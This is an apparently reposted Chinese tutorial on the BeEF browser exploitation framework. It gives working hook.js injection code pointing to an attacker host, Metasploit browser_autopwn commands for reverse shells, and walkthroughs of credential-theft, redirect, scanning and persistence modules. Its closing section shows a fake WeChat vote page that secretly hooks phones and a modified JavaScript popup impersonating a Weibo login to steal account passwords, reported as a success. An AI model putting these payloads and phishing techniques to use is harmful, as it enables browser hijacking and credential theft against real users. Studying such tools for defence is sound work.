<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/9929

            0x00 前言


            BeEF,全稱The Browser Exploitation Framework,是一款針對瀏覽器的滲透測試工具。 目前對其測試的文章不是很多,所以希望通過本次測試給大家帶來全新的認識。

            這里寫圖片描述

            0x01 簡介


            工具主頁:http://beefproject.com

            工具框架:

            這里寫圖片描述

            0x02 測試環境


            攻擊主機:

            操作系統:Kali 1.0
            IP:192.168.16.245
            

            測試主機:

            操作系統:Win7x86
            IP:192.168.16.197
            

            路由器:

            WooyunWifi
            開啟JS注入功能
            

            這里寫圖片描述

            Tips:

            WooyunWifi開啟JS注入功能后會對用戶訪問的頁面加入JS代碼,如果JS代碼設置成如下格式,那么運行后會在BeEF控制端返回一個shell
            
            document.write("<script language='javascript' src='http://192.168.16.245:3000/hook.js'></script>");
            
            默認情況下JS注入附帶緩存投毒功能,將視圖緩存所有的頁面至2099年,但可以通過清除所有緩存及瀏覽數據來清除緩存投毒的影響。
            

            這里寫圖片描述

            0x03 BeEF參數配置


            BeEF在Kali下默認安裝,直接找到對應圖標啟動即可,但是默認設置未同Metasploit關聯,無法使用msf模塊,因此需要作如下配置連接msf

            1、修改config.yaml

            編輯
            /usr/share/beef-xss/config.yaml

            metasploit:
                        enable: false改為true
            

            這里寫圖片描述

            編輯
            /usr/share/beef-xss/extensions/demos/config.yaml

            enable:true改為false
            

            編輯
            /usr/share/beef-xss/extensions/metasploit/config.yaml

            設置
                ssl: true
                ssl_version: 'TLSv1'
            

            這里寫圖片描述

            2、啟動msf服務

            service postgresql start
            service metasploit start
            msfconsole
            load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123 SSL=y
            

            3、運行BeEF.rb

            cd /usr/share/beef-xss/
            /usr/share/beef-xss/beef
            

            (啟動后不要關閉,不然登錄界面會提示密碼錯誤)

            這里寫圖片描述

            4、啟動BeEF

            彈出瀏覽器,輸入默認用戶名口令beef,即可登陸

            主界面如圖

            這里寫圖片描述

            0x04 功能介紹


            對基本功能做全面介紹,高級用法以后會做補充

            1-信息收集

            1、瀏覽器信息 可收集:

            瀏覽器名稱版本
            瀏覽器用戶版本
            插件(包括Java,ActiveX,VBS,Flash……)
            窗口大小
            

            收集方法:

            (1)自動默認收集信息
            如圖

            這里寫圖片描述

            (2)插件收集信息
            如圖

            這里寫圖片描述

            Tips:

            模塊圖標不同顏色對應不同的使用效果
            綠色:適用當前瀏覽器
            橙色:適用當前瀏覽器,但易被用戶發現,social engineering模塊默認為橙色
            紅色:不適于當前瀏覽器,但仍可嘗試
            

            2、系統信息

            可收集:

            安裝的軟件(適用于IE下,Detect Software模塊)
            注冊表鍵值(適用于IE下,此時會彈出提示消息)
            內網IP(Java模塊得到授權)
            系統詳情(通過JavaApplet獲取系統版本、Java VM details、NIC names and IP、處理器、內存、屏幕顯示模式)
            定位(通過Google maps)
            剪貼板信息(會彈出提示消息)
            

            如圖

            這里寫圖片描述

            這里寫圖片描述

            這里寫圖片描述

            3、用戶行為

            可收集:

            用戶是否訪問過某URL、domain
            是否登錄特定網站賬號
            是否使用TOR
            

            如圖

            這里寫圖片描述

            2-社會工程

            如果使用BeEF控制了瀏覽器,那么就可以修改整個頁面來嘗試社會工程學

            1、提交登錄信息

            簡單粗暴往往是最有效的

            Pretty Theft模塊:

            在網頁彈出誘騙消息需要用戶輸入登錄和密碼,并解釋該會話已超時

            選擇的登錄框模板,如圖

            這里寫圖片描述

            配置后用戶瀏覽器界面,如圖

            這里寫圖片描述

            當用戶輸入信息后,自動獲取,如圖

            這里寫圖片描述

            Simple Hijacker模塊:

            劫持網頁上面的所有鏈接,當用戶點擊任意鏈接時彈出誘騙消息,如果用戶接著點擊會跳轉到指定域名
            如圖

            這里寫圖片描述

            這里寫圖片描述

            Clippy模塊:

            創建一個瀏覽器助手提示用戶點擊
            如圖

            這里寫圖片描述

            2、重定向

            Rediret Browser模塊:

            將當前頁面重定向至指定頁面,有可能導致當前權限丟失

            Rediret Browser(iframe)模塊:

            將當前頁面重定向至指定頁面,,同時保留當前連接,可以維持當前瀏覽器權限
            如圖

            這里寫圖片描述

            這里寫圖片描述

            TabNabbing模塊:

            當檢測用戶不在當前頁面時啟動定時器,倒計時結束后自動重定向至指定頁面
            如圖

            這里寫圖片描述

            3、Chrome/Firefox extensions

            Fake Flash Update模塊:

            提示用戶安裝Adobe Flash Player的更新,用戶點擊后會下載指定文件
            如圖

            這里寫圖片描述

            Chrome Extensions 系列:

            值得嘗試

            這里寫圖片描述

            4、補充

            Clickjacking模塊:

            可以使用multi-click clickjacking,判斷當前用戶鼠標位置,在不同位置可觸發不同JS代碼
            如圖,鼠標后面跟隨一個iframe

            這里寫圖片描述

            這里寫圖片描述

            3-網絡掃描

            通過JavaScript,可以嘗試利用瀏覽器掃描內網

            1、獲取內網IP

            Get Internal IP WebRTC模塊:

            通過WebRTC獲取內網IP

            Get Internal IP模塊:

            通過Java Socket class獲取內網IP

            2、識別局域網子網

            識別內網網關,如圖

            這里寫圖片描述

            3、識別HTTP Servers

            識別內網web servers

            4、ping操作

            調用ping命令掃描內網

            Ping Sweep模塊 Ping Sweep (Java)模塊

            如圖

            這里寫圖片描述

            5、跨域掃描

            6、DNS枚舉

            如圖

            這里寫圖片描述

            7、端口掃描

            Port Scanner模塊

            如圖

            這里寫圖片描述

            這里寫圖片描述

            8、網絡指紋特征掃描

            用來掃描內網中的Web服務器和網絡設備

            Fingerprint Network模塊

            如圖

            這里寫圖片描述

            9、Remote CSRFs

            10、IRC NAT Pinning

            模擬瀏覽器的IRC通信,可用來繞過防火墻

            11、網絡拓撲

            BeEF可根據掃描獲得的信息繪制內網網絡拓撲 如圖

            這里寫圖片描述

            這里寫圖片描述

            這里寫圖片描述

            此部分會在以后詳細介紹

            4-結合Metasploit

            1、Metasploit系列模塊

            如圖

            這里寫圖片描述

            2、Browser Autopwn

            反彈回meterpreter

            方法:

            (1)使用Metasploit的Browser Autopwn功能生成BrowserAutoPwn URL

            use auxiliary/server/browser_autopwn
            show options
            set LHOST 192.168.16.245
            set SRVHOST 192.168.16.245
            set SRVPORT 8881
            run -z
            

            生成一個鏈接,如圖

            這里寫圖片描述

            這里寫圖片描述

            (2)使用"Create Invisible Iframe"模塊加載autopwn頁面

            如圖

            這里寫圖片描述

            (3)等待彈回shell

            sessions -l
            

            5-Tunneling

            代理功能

            方法:

            1、選擇控制的瀏覽器

            如圖

            這里寫圖片描述

            2、瀏覽器代理設置

            HTTP Proxy:127.0.0.1
            Port:6789

            如圖

            這里寫圖片描述

            細節以后補充

            3、訪問同樣網站,查看本機瀏覽器頁面同被控瀏覽器頁面內容是否相同(即不需要cookie可實現登錄賬號)

            6-XSS

            如圖

            這里寫圖片描述

            細節以后補充

            7-維持權限

            1、Create Pop Under模塊

            創建一個新窗口,如圖

            這里寫圖片描述

            反彈一個新權限,如圖

            這里寫圖片描述

            2、Confirm Close Tab模塊

            當用戶關閉當前頁面時,反復彈出確認是否關閉頁面的消息

            3、Create Foreground iFrame模塊 修改當前頁面所有鏈接來避免離開當前頁面
            比如用戶點擊某個連接,會將新頁面顯示在當前頁面上面,注意的是網址不會發送改變,如圖:

            這里寫圖片描述

            正常訪問的頁面為:(注意看地址欄)

            這里寫圖片描述

            4、Man In The Browser模塊

            可攔截修改頁面內所有鏈接,當用戶點擊當前頁面的任意鏈接后仍可維持權限(必須是同源的頁面)
            如果用戶手動更改URL地址欄,無法維持權限

            0x05 小結


            本文僅對BeEF的基本功能做了全面介紹,更多高級技巧很值得研究,例如利用BeEF內網滲透,利用代理不通過cookie登陸賬戶突破IP限制綁定等等。

            測試過程難免會有疏忽遺漏,理解錯誤的地方歡迎指正,共同進步。

            本文由三好學生原創并首發于烏云drops,轉載請注明

            0x06 補充


            對手機平臺的微信使用BeEF進行模擬測試

            手機系統:

            Android
            

            1、上線方法:

            1、掃描二維碼

            掃描后在BeEF控制端看到手機上線,如圖

            這里寫圖片描述

            對此頁面進行Google Phishing欺騙,如圖

            這里寫圖片描述

            注:

            在微信上面特別的地方在于此處無法看到包含的真實URL地址

            2、朋友圈分享

            將BeEF的上線地址做一下簡單的偽裝并分享到朋友圈,如圖

            這里寫圖片描述

            在朋友圈中同樣無法看到包含的真實URL地址,打開即為BeEF的hook頁面,如圖

            這里寫圖片描述

            3、朋友發來的鏈接

            將此消息直接發給朋友,如圖

            這里寫圖片描述

            我們可以看到偽造前的URL地址

            注:

            BeEF的hook頁面可以自定義成更具欺騙性的內容,這是為了演示方便使用默認界面

            2、微信瀏覽器被Hook后可以做哪些操作

            也許有人會提出疑問:手機打開網址持續的時間很短,關閉當前頁面后BeEF的shell就會下線

            解決方法:

            使用BeEF API,用戶上線后能夠自動執行批量命令,結合Persistence模塊能夠極大提高shell存活時間

            除了與windows系統相關的信息無法獲取,其他操作均能成功執行,并且BeEF為手機劫持提供了專門的模塊系列——Phonegap,如圖

            這里寫圖片描述

            以下是經測試可以在Android上使用的模塊:

            1、彈框
            2、重定向 
            3、查看是否訪問過某些網站
            4、Creates an invisible iframe
            5、Social Engineering系列,如下圖,僅作演示 
            6、msf系列
            7、NetWork系列,可以用來掃描同一內網下的windows主機
            

            這里寫圖片描述

            注:

            加載hook頁面后,將手機屏幕關閉處于待機狀態,BeEF仍然可以執行指令,或許這與手機系統相關,值得以后深入測試。

            0x07 利用朋友圈投票社工微博帳號實例


            1、偽造BeEF的hook頁面

            1、尋找模板

            隨機找到一個投票的頁面,保存為html

            http://mp.weixin.qq.com/s?__biz=MzA3MTM0NTgyNw==&mid=400240804&idx=1&sn=d87655d4c67a8f39fc84b3cdcb4c1895&scene=1&srcid=1024yDcPJI2to0i3DmiVmj1L&from=groupmessage&isappinstalled=0#rd
            

            2、替換hook頁面

            use/share/beef-xss/extensions/demos/html目錄下,將上述html文件命名為basic.html并添加以下代碼

            var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" 
            type="text/javascript"><\/script>';
                    document.write(commandModuleStr);
            

            如圖

            這里寫圖片描述

            這里寫圖片描述

            上線頁面已被修改

            2、修改BeEFsocial_engineering模塊

            修改彈出對話框樣式

            將此文件use/share/beef-xss/modules/social_engineering/pretty_theft/command.js內容 對應部分替換如下:

            // Facebook floating div
                function facebook() {
            
                    sneakydiv = document.createElement('div');
                    sneakydiv.setAttribute('id', 'popup');
                    sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:2%; z-index:51; background-
            
            color:ffffff;');
                    document.body.appendChild(sneakydiv);
            
                    // Set appearance using styles, maybe cleaner way to do this with CSS block?
                    var windowborder = 'style="width:330px;background:white;border:10px #999999 solid;border-
            
            radius:8px"';
                    var windowmain = 'style="border:1px #555 solid;"';
                    var tbarstyle = 'style="color: rgb(255, 255, 255); background-color: rgb(255, 102, 0);font-size: 
            
            13px;font-family:tahoma,verdana,arial,sans-serif;font-weight: bold;padding: 5px;padding-left:8px;text-align: 
            
            left;height: 18px;"';
                    var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 
            
            8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';
                    var messagestyle = 'style="align:left;font-size:11px;font-family:tahoma,verdana,arial,sans-
            
            serif;margin:10px 15px;line-height:12px;height:40px;"';
                    var box_prestyle = 'style="color: grey;font-size: 11px;font-weight: bold;font-family: 
            
            tahoma,verdana,arial,sans-serif;padding-left:30px;"';
                    var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-
            
            left:4px;border-style: solid;border-width: 1px;border-color: rgb(255,102,0);"'; 
                    var buttonstyle = 'style="font-size: 13px;background:#ff6600;color:#fff;font-weight:bold;border: 
            
            1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';
            
                        var title = '微博手機版安全登錄';
                        var messagewords = '請輸入您的用戶名密碼登錄后進行投票。<br/><br/>我們將對您的投票信息嚴格保密。';
                        var buttonLabel = '<input type="button" name="ok" value="登錄" id="ok" ' +buttonstyle+ ' 
            
            onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" 
            
            onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';
            
                    // Build page including styles
                    sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" ' 
            
            +windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + 
            
            messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>郵箱/會員帳號/手機號: 
            
            </div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13) 
            
            document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div 
            
            id="box_pre" ' +box_prestyle+ '>密碼: </div></td><td align="left"><input type="password" id="pass" name="pass" 
            
            onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ 
            
            '/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" 
            
            id="buttonpress" name="buttonpress" value="false"/></div></div></div>';
            
                    // Repeatedly check if button has been pressed
                    credgrabber = setInterval(checker,1000);
                }
            

            3、實際操作

            1、微信朋友圈發布投票消息,如圖

            這里寫圖片描述

            用戶點擊后會打開我們偽造的投票頁面,同時隱蔽加載hook.js,在BeEF端上線

            2、在用戶手機彈出模擬微博登錄的對話框

            如圖執行Pretty Theft模塊

            這里寫圖片描述

            用戶手機界面如圖,彈出對話框提示輸入登錄消息

            這里寫圖片描述

            BeEF控制端返回用戶輸入消息,如圖

            這里寫圖片描述

            3、用戶提交后重定向至另一頁面

            BeEF控制端使用Redirect Browser(iFrame)模塊,如圖

            這里寫圖片描述

            用戶手機界面如圖

            這里寫圖片描述

            至此,通過朋友圈投票獲得微博帳號成功實現。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线